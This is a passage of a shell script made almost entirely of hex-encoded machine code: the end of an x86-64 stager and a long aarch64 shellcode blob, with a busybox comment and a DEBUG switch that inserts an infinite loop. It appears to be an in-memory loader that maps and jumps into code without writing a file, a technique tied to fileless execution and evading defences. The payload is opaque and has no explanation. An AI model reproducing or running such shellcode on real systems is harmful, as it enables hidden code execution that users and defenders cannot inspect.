"\xc0\x0f\x05\xb8\x03\x00\x00\x00\x0f\x05\x48\x89"\ "\xf7\x89\xd6\xba\x05\x00\x00\x00\xb8\x09\x00\x00"\ "\x00\xfe\xc0\x0f\x05\xff\xe7" # A little nop for good luck --nah, it's just for busybox (long story) stager="\x90""$stager" if [ $DEBUG -eq 1 ]; then stager="\xeb\xfe""$stager"; fi elif [ "$arch" = "aarch64" ] then sc="\xfd\x7b\xaa\xa9\xfd\x03\x00\x91\x00\x02\x80\xd2"\ "\xa0\x2b\x00\xf9\xa0\x2b\x40\xf9\x00\x3c\x00\x91"\ "\xa0\x2b\x00\xf9\xa0\x2b\x40\xf9\x00\xec\x7c\x92"\ "\xa0\x2b\x00\xf9\xe1\x03\x00\x91\xa0\x2b\x40\xf9"\ "\xe0\x03\x00\xcb\x20\x00\x00\x8b\x1f\x00\x00\x91"\ "\xa0\x33\x01\x91\xa0\x73\x00\xf9\xa0\x63\x00\x91"\ "\x02\x01\x80\xd2\xe1\x03\x00\xaa\x00\x01\x80\x52"\ "\xce\x03\x00\x94\xe1\x03\x00\xaa\xa0\x63\x00\x91"\ "\x1f\x68\x21\x38\xa0\x63\x00\x91\xa0\x6f\x00\xf9"\ "\xbf\x6b\x00\xf9\xbf\xcf\x00\xb9\x04\x00\x00\x14"\ "\xa0\xcf\x40\xb9\x00\x04\x00\x11\xa0\xcf\x00\xb9"\ "\xa0\xcf\x80\xb9\xa1\x6f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\x1f\xbc\x00\x71\xe9\x00\x00\x54"\ "\xa0\xcf\x80\xb9\xa1\x6f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\x1f\xe4\x00\x71\x49\xfe\xff\x54"\ "\xa0\xcf\x80\xb9\xa1\x6f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\x1f\x80\x01\x71\xe9\x00\x00\x54"\ "\xa0\xcf\x80\xb9\xa1\x6f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\x1f\x98\x01\x71\xc9\xfc\xff\x54"\ "\x20\x00\x80\x52\xa0\xcb\x00\xb9\xa0\xcf\x40\xb9"\ "\x00\x04\x00\x51\xa0\xc7\x00\xb9\x1d\x00\x00\x14"\ "\xa0\xc7\x80\xb9\xa1\x6f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\xa0\x0f\x03\x39\xa0\x0f\x43\x39"\ "\x1f\xbc\x00\x71\xe9\x00\x00\x54\xa0\x0f\x43\x39"\ "\x1f\xe4\x00\x71\x88\x00\x00\x54\xa0\x0f\x43\x39"\ "\x00\xc0\x00\x51\x03\x00\x00\x14\xa0\x0f\x43\x39"\ "\x00\x5c\x01\x51\xa1\xcb\x40\xb9\x00\x7c\x01\x1b"\ "\x00\x7c\x40\x93\xa1\x6b\x40\xf9\x20\x00\x00\x8b"\ "\xa0\x6b\x00\xf9\xa0\xcb\x40\xb9\x00\x6c\x1c\x53"\ "\xa0\xcb\x00\xb9\xa0\xc7\x40\xb9\x00\x04\x00\x51"\ "\xa0\xc7\x00\xb9\xa0\xc7\x40\xb9\x1f\x00\x00\x71"\ "\x4a\xfc\xff\x54\xa0\x6b\x40\xf9\xa0\x5f\x00\xf9"\ "\xa0\x5f\x40\xf9\x1f\x00\x00\xf1\x21\x03\x00\x54"\ "\x00\x02\x80\xd2\xa0\x5b\x00\xf9\xa0\x5b\x40\xf9"\ "\x00\x3c\x00\x91\xa0\x5b\x00\xf9\xa0\x5b\x40\xf9"\ "\x00\xec\x7c\x92\xa0\x5b\x00\xf9\xe1\x03\x00\x91"\ "\xa0\x5b\x40\xf9\xe0\x03\x00\xcb\x20\x00\x00\x8b"\ "\x1f\x00\x00\x91\xe0\x03\x00\x91\xa0\x57\x00\xf9"\ "\xa0\x57\x40\xf9\x00\x20\x00\x91\x1f\x00\x00\xf9"\ "\xa0\x57\x40\xf9\x01\x20\x00\x91\xa0\x57\x40\xf9"\ "\x01\x00\x00\xf9\xa0\x57\x40\xf9\x93\x00\x00\x14"\ "\xa0\x5f\x40\xf9\xa0\x53\x00\xf9\xa0\x53\x40\xf9"\ "\x00\x3c\x00\x91\xa0\x53\x00\xf9\xa0\x53\x40\xf9"\ "\x00\xec\x7c\x92\xa0\x53\x00\xf9\xe1\x03\x00\x91"\ "\xa0\x53\x40\xf9\xe0\x03\x00\xcb\x20\x00\x00\x8b"\ "\x1f\x00\x00\x91\xe0\x03\x00\x91\xa0\x4f\x00\xf9"\ "\xa2\x5f\x40\xf9\xa1\x4f\x40\xf9\x00\x01\x80\x52"\ "\x56\x03\x00\x94\x00\x01\x80\x52\xa0\x97\x00\xb9"\ "\xa0\x97\x80\xb9\x28\x07\x80\xd2\x01\x00\x00\xd4"\ "\xbf\x93\x00\xb9\x20\x00\x80\xd2\xa0\x47\x00\xf9"\ "\xbf\x43\x00\xf9\x36\x00\x00\x14\xa1\x4f\x40\xf9"\ "\xa0\x47\x40\xf9\x20\x00\x00\x8b\x00\x00\x40\x39"\ "\x1f\x88\x00\x71\x81\x01\x00\x54\xa1\x4f\x40\xf9"\ "\xa0\x43\x40\xf9\x20\x00\x00\x8b\x1f\x00\x00\x39"\ "\xa0\x47\x40\xf9\x00\x04\x00\x91\xa0\x47\x00\xf9"\ "\xa0\x93\x40\xb9\x00\x04\x00\x11\xa0\x93\x00\xb9"\ "\x1f\x00\x00\x14\xa1\x4f\x40\xf9\xa0\x47\x40\xf9"\ "\x20\x00\x00\x8b\x00\x00\x40\x39\x1f\x70\x01\x71"\ "\x21\x02\x00\x54\xa0\x47\x40\xf9\x00\x04\x00\x91"\ "\xa0\x47\x00\xf9\xa1\x5f\x40\xf9\xa0\x47\x40\xf9"\ "\x3f\x00\x00\xeb\x49\x01\x00\x54\xa1\x4f\x40\xf9"\ "\xa0\x47\x40\xf9\x21\x00\x00\x8b\xa2\x4f\x40\xf9"\ "\xa0\x43\x40\xf9\x40\x00\x00\x8b\x21\x00\x40\x39"\ "\x01\x00\x00\x39\x09\x00\x00\x14\xa1\x4f\x40\xf9"\ "\xa0\x47\x40\xf9\x21\x00\x00\x8b\xa2\x4f\x40\xf9"\ "\xa0\x43\x40\xf9\x40\x00\x00\x8b\x21\x00\x40\x39"\ "\x01\x00\x00\x39\xa0\x47\x40\xf9\x00\x04\x00\x91"\ "\xa0\x47\x00\xf9\xa0\x43\x40\xf9\x00\x04\x00\x91"\ "\xa0\x43\x00\xf9\xa1\x5f\x40\xf9\xa0\x47\x40\xf9"\ "\x3f\x00\x00\xeb\x08\xf9\xff\x54\xa0\x93\x40\xb9"\ "\x00\x04\x00\x11\x00\x7c\x40\x93\x00\xf0\x7d\xd3"\ "\xa0\x3f\x00\xf9\xa0\x3f\x40\xf9\x00\x3c\x00\x91"\ "\xa0\x3f\x00\xf9\xa0\x3f\x40\xf9\x00\xec\x7c\x92"\ "\xa0\x3f\x00\xf9\xe1\x03\x00\x91\xa0\x3f\x40\xf9"\ "\xe0\x03\x00\xcb\x20\x00\x00\x8b\x1f\x00\x00\x91"\ "\xe0\x03\x00\x91\xa0\x3b\x00\xf9\xbf\x37\x00\xf9"\ "\x1c\x00\x00\x14\xa0\x37\x40\xf9\x00\xf0\x7d\xd3"\ "\xa1\x3b\x40\xf9\x20\x00\x00\x8b\xa1\x4f\x40\xf9"\ "\x01\x00\x00\xf9\xa0\x4f\x40\xf9\xa0\x33\x00\xf9"\ "\xbf\x2f\x00\xf9\x04\x00\x00\x14\xa0\x2f\x40\xf9"\ "\x00\x04\x00\x91\xa0\x2f\x00\xf9\xa1\x33\x40\xf9"\ "\xa0\x2f\x40\xf9\x20\x00\x00\x8b\x00\x00\x40\x39"\ "\x1f\x00\x00\x71\x01\xff\xff\x54\xa0\x2f\x40\xf9"\ "\x00\x04\x00\x91\xa1\x4f\x40\xf9\x20\x00\x00\x8b"\ "\xa0\x4f\x00\xf9\xa0\x37\x40\xf9\x00\x04\x00\x91"\ "\xa0\x37\x00\xf9\xa0\x93\x80\xb9\xa1\x37\x40\xf9"\ "\x3f\x00\x00\xeb\x43\xfc\xff\x54\xa0\x93\x80\xb9"\ "\x00\xf0\x7d\xd3\xa1\x3b\x40\xf9\x20\x00\x00\x8b"\ "\x1f\x00\x00\xf9\xa0\x73\x40\xf9\xa1\x93\x40\xb9"\ "\x01\x00\x00\xb9\xa0\x3b\x40\xf9\xa0\xa3\x00\xf9"\ "\xa0\x03\x01\x91\x83\x02\x00\x94\xa0\x9f\x00\xf9"\ "\xa0\xf3\x00\x91\xe2\x03\x00\xaa\x01\x08\xa0\xd2"\ "\xa0\x9f\x40\xf9\x08\x01\x00\x94\xa0\x9b\x00\xf9"\ "\xbf\xaf\x00\xf9\xbf\xab\x00\xf9\xa0\x3f\x40\xb9"\ "\x00\x00\x1f\x12\x1f\x00\x00\x71\x41\x03\x00\x54"\ "\x22\x00\x80\x52\x81\x59\x00\x10\xa0\x9f\x40\xf9"\ "\x12\x02\x00\x94\xa0\x97\x00\xf9\xa0\x97\x40\xf9"\ "\xa1\x9f\x40\xf9\x20\x00\x00\x8b\xa1\x43\x00\x91"\ "\xdb\x01\x00\x94\xa0\x93\x00\xf9\x02\x00\x80\xd2"\ "\x01\x08\xa8\xd2\xa0\x93\x40\xf9\xf2\x00\x00\x94"\ "\xa0\xaf\x00\xf9\xa0\xaf\x40\xf9\x00\x0c\x40\xf9"\ "\xa1\xaf\x40\xf9\x20\x00\x00\x8b\xa0\xab\x00\xf9"\ "\xa0\x0b\x40\xf9\xe1\x03\x00\xaa\xa0\x93\x40\xf9"\ "\xa8\x02\x00\x94\xa0\x9f\x40\xf9\x01\x0c\x40\xf9"\ "\xa0\x3f\x40\xb9\x00\x00\x00\x12\x1f\x00\x00\x71"\ "\xe0\x07\x9f\x1a\x00\x1c\x00\x12\x02\x1c\x40\x92"\ "\xa0\x9b\x40\xf9\x40\x7c\x00\x9b\x20\x00\x00\x8b"\ "\xa0\x8f\x00\xf9\xa0\x9f\x40\xf9\x00\x70\x40\x79"\ "\x00\x3c\x40\x92\xa0\x8b\x00\xf9\xa0\x9f\x40\xf9"\ "\x00\x6c\x40\x79\x00\x3c\x40\x92\xa0\x87\x00\xf9"\ "\xa0\x9f\x40\xf9\x00\x10\x40\xf9\xa1\x9b\x40\xf9"\ "\x20\x00\x00\x8b\xa0\x83\x00\xf9\xa0\x23\x40\xf9"\ "\xe1\x03\x00\xaa\xa0\x9f\x40\xf9\x8b\x02\x00\x94"\ "\x05\x00\x80\xd2\x04\x00\x80\x12\x43\x04\x80\x52"\ "\x43\x00\xa0\x72\x62\x00\x80\x52\x01\x00\x82\xd2"\ "\x41\x00\xa0\xf2\x00\x00\x80\xd2\x85\x02\x00\x94"\ "\xa0\x7f\x00\xf9\xa0\x7f\x40\xf9\x00\x84\x40\x91"\ "\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9\x00\x20\x00\xd1"\ "\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9\x1f\x00\x00\xf9"\ "\xa0\x4f\x40\xb9\x00\x00\x00\x12\x1f\x00\x00\x71"\ "\xc0\x00\x00\x54\xa0\xa7\x40\xf9\x00\x20\x00\xd1"\ "\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9\x1f\x00\x00\xf9"\ "\x40\x05\x80\xd2\xa0\x17\x00\xf9\x40\x05\x80\xd2"\ "\xa0\x1b\x00\xf9\xbf\xf7\x00\xb9\xa0\xa7\x40\xf9"\ "\x00\x00\x02\xd1\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9"\ "\xa0\x77\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xc1\x00\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x01\x00\x82\xd2"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x21\x03\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\xa3\x00\x91"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x21\x01\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\x8f\x40\xf9"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xe1\x00\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\xaf\x40\xf9"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\x00\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\x8b\x40\xf9"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x81\x00\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\x87\x40\xf9"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x61\x00\x80\xd2"\ "\x01\x00\x00\xf9\xa0\xf7\x40\xb9\x01\x04\x00\x11"\ "\xa1\xf7\x00\xb9\x00\x7c\x40\x93\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\xa1\x83\x40\xf9"\ "\x01\x04\x00\xf9\xa0\xf7\x80\xb9\x00\xec\x7c\xd3"\ "\xa1\x77\x40\xf9\x20\x00\x00\x8b\x1f\x00\x00\xf9"\ "\xa0\xf7\x40\xb9\x01\x04\x00\x11\xa1\xf7\x00\xb9"\ "\x00\x7c\x40\x93\x00\xec\x7c\xd3\xa1\x77\x40\xf9"\ "\x20\x00\x00\x8b\x1f\x04\x00\xf9\xa0\xa7\x40\xf9"\ "\x00\x20\x00\xd1\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9"\ "\x1f\x00\x00\xf9\xa0\xa7\x40\xf9\x00\x20\x00\xd1"\ "\xa0\xa7\x00\xf9\xa0\xa7\x40\xf9\x1f\x00\x00\xf9"\ "\xa0\x4f\x40\xb9\x00\x7c\x40\x93\x00\xf0\x7d\xd3"\ "\xe0\x03\x00\xcb\xa1\xa7\x40\xf9\x20\x00\x00\x8b"\ "\xa0\xa7\x00\xf9\xa0\x4f\x40\xb9\x00\x7c\x40\x93"\ "\x00\xf0\x7d\xd3\xe2\x03\x00\xaa\xa1\xa3\x40\xf9"\ "\xa0\xa7\x40\xf9\xc0\x01\x00\x94\xa1\x4f\x40\xb9"\ "\xa0\xa7\x40\xf9\x00\x20\x00\xd1\xa0\xa7\x00\xf9"\ "\x21\x7c\x40\x93\xa0\xa7\x40\xf9\x01\x00\x00\xf9"\ "\x01\x00\x80\x52\x40\x00\x80\x52\xd7\x01\x00\x94"\ "\x21\x00\x80\x52\x40\x00\x80\x52\xd4\x01\x00\x94"\ "\xa0\xa7\x40\xf9\x1f\x00\x00\x91\xa0\x3f\x40\xb9"\ "\x00\x00\x1f\x12\x1f\x00\x00\x71\x60\x00\x00\x54"\ "\xa0\x8f\x40\xf9\x00\x00\x1f\xd6\xa0\xab\x40\xf9"\ "\x00\x00\x1f\xd6\xfd\x7b\xb5\xa9\xfd\x03\x00\x91"\ "\xe0\x17\x00\xf9\xe1\x13\x00\xf9\xe2\x0f\x00\xf9"\ "\xff\x57\x00\xf9\xe0\x17\x40\xf9\xe0\x4b\x00\xf9"\ "\xe0\x4b\x40\xf9\x00\x10\x40\xf9\xe1\x17\x40\xf9"\ "\x20\x00\x00\x8b\xe0\x47\x00\xf9\xe0\x4b\x40\xf9"\ "\x00\x70\x40\x79\xe0\x0f\x01\x79\x02\x00\x80\x52"\ "\xc1\x37\x00\x10\xe0\x17\x40\xf9\x02\x01\x00\x94"\ "\xe0\x3f\x00\xf9\xe0\x0f\x40\xf9\x1f\x00\x00\xf1"\ "\x80\x00\x00\x54\xe0\x0f\x40\xf9\x41\x00\x80\x52"\ "\x01\x00\x00\xb9\xe0\x4b\x40\xf9\x00\x20\x40\x79"\ "\x1f\x0c\x00\x71\x41\x01\x00\x54\xe0\x0f\x40\xf9"\ "\x1f\x00\x00\xf1\x00\x01\x00\x54\xe0\x0f\x40\xf9"\ "\x00\x00\x40\xb9\x01\x00\x00\x32\xe0\x0f\x40\xf9"\ "\x01\x00\x00\xb9\x02\x00\x00\x14\xff\x13\x00\xf9"\ "\xff\xa7\x00\xb9\xb1\x00\x00\x14\xe0\x0f\x40\xf9"\ "\x1f\x00\x00\xf1\x20\x02\x00\x54\xe1\xa7\x80\xb9"\ "\xe0\x03\x01\xaa\x00\xf0\x7d\xd3\x00\x00\x01\xcb"\ "\x00\xf0\x7d\xd3\xe1\x03\x00\xaa\xe0\x47\x40\xf9"\ "\x00\x00\x01\x8b\x00\x00\x40\xb9\x1f\x0c\x00\x71"\ "\xc1\x00\x00\x54\xe0\x0f\x40\xf9\x00\x00\x40\xb9"\ "\x01\x78\x1e\x12\xe0\x0f\x40\xf9\x01\x00\x00\xb9"\ "\xe1\xa7\x80\xb9\xe0\x03\x01\xaa\x00\xf0\x7d\xd3"\ "\x00\x00\x01\xcb\x00\xf0\x7d\xd3\xe1\x03\x00\xaa"\ "\xe0\x47\x40\xf9\x00\x00\x01\x8b\x00\x00\x40\xb9"\ "\x1f\x04\x00\x71\xe1\x11\x00\x54\xe1\xa7\x80\xb9"\ "\xe0\x03\x01\xaa\x00\xf0\x7d\xd3\x00\x00\x01\xcb"\ "\x00\xf0\x7d\xd3\xe1\x03\x00\xaa\xe0\x47\x40\xf9"\ "\x00\x00\x01\x8b\x00\x04\x40\xb9\xe0\x77\x00\xb9"\ "\xe1\xa7\x80\xb9\xe0\x03\x01\xaa\x00\xf0\x7d\xd3"\ "\x00\x00\x01\xcb\x00\xf0\x7d\xd3\xe1\x03\x00\xaa"\ "\xe0\x47\x40\xf9\x00\x00\x01\x8b\x00\x04\x40\xf9"\ "\xe0\x37\x00\xf9\xe1\xa7\x80\xb9\xe0\x03\x01\xaa"\ "\x00\xf0\x7d\xd3\x00\x00\x01\xcb\x00\xf0\x7d\xd3"\ "\xe1\x03\x00\xaa\xe0\x47\x40\xf9\x00\x00\x01\x8b"\ "\x00\x08\x40\xf9\xe0\x33\x00\xf9\xe1\xa7\x80\xb9"\ "\xe0\x03\x01\xaa\x00\xf0\x7d\xd3\x00\x00\x01\xcb"\ "\x00\xf0\x7d\xd3\xe1\x03\x00\xaa\xe0\x47\x40\xf9"\ "\x00\x00\x01\x8b\x00\x10\x40\xf9\xe0\x4f\x00\xf9"\ "\xe1\xa7\x80\xb9\xe0\x03\x01\xaa\x00\xf0\x7d\xd3"\ "\x00\x00\x01\xcb\x00\xf0\x7d\xd3\xe1\x03\x00\xaa"\ "\xe0\x47\x40\xf9\x00\x00\x01\x8b\x00\x14\x40\xf9"\ "\xe0\x2f\x00\xf9\xe0\x33\x40\xf9\x00\xcc\x74\x92"\ "\xe0\x2b\x00\xf9\xe0\x77\x40\xb9\x00\x7c\x02\x53"\ "\x01\x00\x00\x12\xe0\x77\x40\xb9\x00\x00\x1f\x12"\ "\x21\x00\x00\x2a\xe0\x77\x40\xb9\x00\x74\x1e\x53"\ "\x00\x00\x1e\x12\x20\x00\x00\x2a\xe0\x4f\x00\xb9"\ "\xe1\x33\x40\xf9\xe0\x2b\x40\xf9\x20\x00\x00\xcb"\ "\xe1\x4f\x40\xf9\x20\x00\x00\x8b\xe0\x4f\x00\xf9"\ "\xe1\x33\x40\xf9\xe0\x2b\x40\xf9\x20\x00\x00\xcb"\ "\xe1\x2f\x40\xf9\x20\x00\x00\x8b\xe0\x2f\x00\xf9"\ "\xe1\x2b\x40\xf9\xe0\x33\x40\xf9\x20\x00\x00\xcb"\ "\xe1\x37\x40\xf9\x20\x00\x00\x8b\xe0\x37\x00\xf9"\ "\xe1\x13\x40\xf9\xe0\x2b\x40\xf9\x20\x00\x00\x8b"\ "\x05\x00\x80\xd2\x04\x00\x80\x12\x43\x06\x80\x52"\ "\x62\x00\x80\x52\xe1\x2f\x40\xf9\x20\x01\x00\x94"\ "\xe0\x37\x40\xf9\x1f\x00\x00\xf1\x61\x00\x00\x54"\ "\xe0\x2b\x40\xf9\xe0\x57\x00\xf9\xe0\x4f\x40\xf9"\ "\x00\xfc\x3f\x91\x00\xcc\x74\x92\xe0\x4f\x00\xf9"\ "\xe0\x3f\x40\xf9\x1f\x04\x00\xb1\xe0\x01\x00\x54"\ "\xe1\x3f\x40\xf9\xe0\x2b\x40\xf9\x3f\x00\x00\xeb"\ "\x63\x01\x00\x54\xe1\x2b\x40\xf9\xe0\x4f\x40\xf9"\ "\x20\x00\x00\x8b\xe1\x3f\x40\xf9\x3f\x00\x00\xeb"\ "\xa2\x00\x00\x54\xe1\x3f\x40\xf9\xe0\x2b\x40\xf9"\ "\x20\x00\x00\xcb\xe0\x4f\x00\xf9\xe1\x13\x40\xf9"\ "\xe0\x2b\x40\xf9\x23\x00\x00\x8b\xe1\x17\x40\xf9"\ "\xe0\x37\x40\xf9\x20\x00\x00\x8b\xe2\x4f\x40\xf9"\ "\xe1\x03\x00\xaa\xe0\x03\x03\xaa\xe1\x00\x00\x94"\ "\xe1\x13\x40\xf9\xe0\x2b\x40\xf9\x21\x00\x00\x8b"\ "\xe0\x4f\x40\xb9\xe1\x23\x00\xf9\xe1\x4f\x40\xf9"\ "\xe1\x1f\x00\xf9\xe0\x37\x00\xb9\xe0\x37\x80\xb9"\ "\xe2\x03\x00\xaa\xe1\x1f\x40\xf9\xe0\x23\x40\xf9"\ "\x48\x1c\x80\xd2\x01\x00\x00\xd4\x02\x00\x00\x14"\ "\x1f\x20\x03\xd5\xe0\xa7\x40\xb9\x00\x04\x00\x11"\ "\xe0\xa7\x00\xb9\xe0\x0f\x41\x79\xe1\xa7\x40\xb9"\ "\x3f\x00\x00\x6b\xab\xe9\xff\x54\xe1\x13\x40\xf9"\ "\xe0\x57\x40\xf9\x20\x00\x00\x8b\xfd\x7b\xcb\xa8"\ "\xc0\x03\x5f\xd6\xfd\x7b\xba\xa9\xfd\x03\x00\x91"\ "\xe0\x0f\x00\xf9\xe1\x0b\x00\xf9\x60\x0c\x80\x12"\ "\xe0\x3b\x00\xb9\xe0\x0f\x40\xf9\xe0\x1b\x00\xf9"\ "\xff\x2f\x00\xb9\xe0\x2f\x80\xb9\xe2\x03\x00\xaa"\ "\xe1\x1b\x40\xf9\xe0\x3b\x80\xb9\x08\x07\x80\xd2"\ "\x01\x00\x00\xd4\xe0\x5f\x00\xb9\xe0\x5f\x40\xb9"\ "\xe0\x4b\x00\xb9\xff\x23\x00\xf9\x40\x00\x80\x52"\ "\xe0\x3f\x00\xb9\xe0\x3f\x80\xb9\xe2\x03\x00\xaa"\ "\xe0\x23\x40\xf9\xe1\x03\x00\xaa\xe0\x4b\x80\xb9"\ "\xc8\x07\x80\xd2\x01\x00\x00\xd4\xe1\x03\x00\xaa"\ "\xe0\x0b\x40\xf9\x01\x00\x00\xf9\xe0\x0b\x40\xf9"\ "\x00\x00\x40\xf9\x05\x00\x80\xd2\xe4\x5f\x40\xb9"\ "\x43\x00\x80\x52\x22\x00\x80\x52\xe1\x03\x00\xaa"\ "\x00\x00\x80\xd2\xb8\x00\x00\x94\xe0\x2b\x00\xf9"\ "\xe0\x5f\x40\xb9\xe0\x4f\x00\xb9\xe0\x4f\x80\xb9"\ "\x28\x07\x80\xd2\x01\x00\x00\xd4\xe0\x2b\x40\xf9"\ "\xfd\x7b\xc6\xa8\xc0\x03\x5f\xd6\xff\xc3\x01\xd1"\ "\xe0\x0f\x00\xf9\xe1\x0b\x00\xf9\xe2\x0f\x00\xb9"\ "\xe0\x0f\x40\xf9\xe0\x33\x00\xf9\xe0\x33\x40\xf9"\ "\x00\x14\x40\xf9\xe1\x0f\x40\xf9\x20\x00\x00\x8b"\ "\xe0\x2f\x00\xf9\xe0\x33\x40\xf9\x00\x78\x40\x79"\ "\xe0\xaf\x00\x79\xe0\x33\x40\xf9\x00\x7c\x40\x79"\ "\xe0\xab\x00\x79\xe0\xab\x40\x79\x00\xe4\x7a\xd3"\ "\xe1\x2f\x40\xf9\x20\x00\x00\x8b\x00\x0c\x40\xf9"\ "\xe1\x0f\x40\xf9\x20\x00\x00\x8b\xe0\x27\x00\xf9"\ "\xff\x6f\x00\xb9\x3f\x00\x00\x14\xe0\x6f\x80\xb9"\ "\x00\xe4\x7a\xd3\xe1\x2f\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\xb9\xe0\x03\x00\x2a\xe1\x27\x40\xf9"\ "\x20\x00\x00\x8b\xe0\x23\x00\xf9\xe0\x0b\x40\xf9"\ "\xe0\x1f\x00\xf9\xff\x1b\x00\xf9\x04\x00\x00\x14"\ "\xe0\x1b\x40\xf9\x00\x04\x00\x91\xe0\x1b\x00\xf9"\ "\xe1\x23\x40\xf9\xe0\x1b\x40\xf9\x20\x00\x00\x8b"\ "\x00\x00\x40\x39\xe2\x03\x00\x2a\xe1\x1f\x40\xf9"\ "\xe0\x1b\x40\xf9\x20\x00\x00\x8b\x00\x00\x40\x39"\ "\x40\x00\x00\x4b\xe0\x2f\x00\xb9\x1f\x00\x00\x71"\ "\xa1\x01\x00\x54\xe1\x23\x40\xf9\xe0\x1b\x40\xf9"\ "\x20\x00\x00\x8b\x00\x00\x40\x39\x1f\x00\x00\x71"\ "\xe0\x00\x00\x54\xe1\x1f\x40\xf9\xe0\x1b\x40\xf9"\ "\x20\x00\x00\x8b\x00\x00\x40\x39\x1f\x00\x00\x71"\ "\xa1\xfc\xff\x54\xe0\x2f\x40\xb9\x1f\x00\x00\x71"\ "\x01\x02\x00\x54\xe0\x0f\x40\xb9\x1f\x00\x00\x71"\ "\xe0\x00\x00\x54\xe0\x6f\x80\xb9\x00\xe4\x7a\xd3"\ "\xe1\x2f\x40\xf9\x20\x00\x00\x8b\x00\x0c\x40\xf9"\ "\x0f\x00\x00\x14\xe0\x6f\x80\xb9\x00\xe4\x7a\xd3"\ "\xe1\x2f\x40\xf9\x20\x00\x00\x8b\x00\x08\x40\xf9"\ "\x09\x00\x00\x14\xe0\x6f\x40\xb9\x00\x04\x00\x11"\ "\xe0\x6f\x00\xb9\xe0\xaf\x40\x79\xe1\x6f\x40\xb9"\ "\x3f\x00\x00\x6b\xeb\xf7\xff\x54\x00\x00\x80\x92"\ "\xff\xc3\x01\x91\xc0\x03\x5f\xd6\xfd\x7b\xba\xa9"\ "\xfd\x03\x00\x91\xe0\x0f\x00\xf9\x05\x00\x80\xd2"\ "\x04\x00\x80\x12\x43\x04\x80\x52\x62\x00\x80\x52"\ "\x01\x00\x82\xd2\x00\x00\x80\xd2\x45\x00\x00\x94"\ "\xe0\x2f\x00\xf9\xff\x2b\x00\xf9\x16\x00\x00\x14"\ "\xe0\x27\x40\xf9\xe1\x2b\x40\xf9\x20\x00\x00\x8b"\ "\xe0\x2b\x00\xf9\xe0\x2b\x40\xf9\x00\x04\x40\x91"\ "\xe1\x2f\x40\xf9\xe1\x23\x00\xf9\xe1\x2b\x40\xf9"\ "\xe1\x1f\x00\xf9\xe0\x1b\x00\xf9\x20\x00\x80\x52"\ "\xe0\x2f\x00\xb9\xe0\x23\x40\xf9\xe1\x1f\x40\xf9"\ "\xe2\x1b\x40\xf9\xe3\x2f\x80\xb9\x08\x1b\x80\xd2"\ "\x01\x00\x00\xd4\x1f\x20\x03\xd5\xe0\x2f\x00\xf9"\ "\xe1\x2f\x40\xf9\xe0\x2b\x40\xf9\x20\x00\x00\x8b"\ "\x02\x00\x82\xd2\xe1\x03\x00\xaa\x00\x00\x80\x52"\ "\x29\x00\x00\x94\xe0\x27\x00\xf9\xe0\x27\x40\xf9"\ "\x1f\x00\x00\xf1\x2c\xfc\xff\x54\xe0\x0f\x40\xf9"\ "\xe1\x2b\x40\xf9\x01\x00\x00\xf9\xe0\x2f\x40\xf9"\ "\xfd\x7b\xc6\xa8\xc0\x03\x5f\xd6\xff\xc3\x00\xd1"\ "\xe0\x0f\x00\xf9\xe1\x0b\x00\xf9\xe2\x07\x00\xf9"\ "\xff\x17\x00\xf9\x0c\x00\x00\x14\xe0\x17\x40\xf9"\ "\xe1\x0b\x40\xf9\x21\x00\x00\x8b\xe0\x17\x40\xf9"\ 